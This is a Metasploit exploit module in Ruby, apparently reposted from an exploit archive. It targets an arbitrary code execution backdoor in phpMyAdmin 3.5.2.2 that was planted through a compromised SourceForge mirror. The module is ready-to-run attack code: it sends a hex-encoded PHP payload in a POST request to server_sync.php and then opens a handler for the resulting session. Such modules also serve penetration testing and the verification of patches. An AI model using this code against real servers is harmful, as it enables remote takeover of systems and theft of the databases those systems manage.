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phpMyAdmin 3.5.2.2 server_sync.php Backdoor

Posted on 26 September 2012

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
 'Description' => %q{
 This module exploits an arbitrary code execution backdoor
 placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
 },
 'Author' => [ 'hdm' ],
 'License' => MSF_LICENSE,
 'Version' => '$Revision$',
 'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
 'Privileged' => false,
 'Payload' =>
 {
 'DisableNops' => true,
 'Compat' =>
 {
 'ConnectionType' => 'find',
 },
 # Arbitrary big number. The payload gets sent as an HTTP
 # response body, so really it's unlimited
 'Space' => 262144, # 256k
 },
 'DefaultOptions' =>
 {
 'WfsDelay' => 30
 },
 'DisclosureDate' => 'Sep 25 2012',
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' => [[ 'Automatic', { }]],
 'DefaultTarget' => 0))

 register_options([
 OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
 ], self.class)
 end

 def exploit

 uris = []

 tpath = datastore['PATH']
 if tpath[-1,1] == '/'
 tpath = tpath.chop
 end

 pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

 res = send_request_raw( {
 'global' => true,
 'uri' => tpath + "/server_sync.php",
 'method' => 'POST',
 'data' => pdata,
 'headers' => {
 'Content-Type' => 'application/x-www-form-urlencoded',
 'Content-Length' => pdata.length,
 }
 }, 1.0)

 handler
 end
end

 

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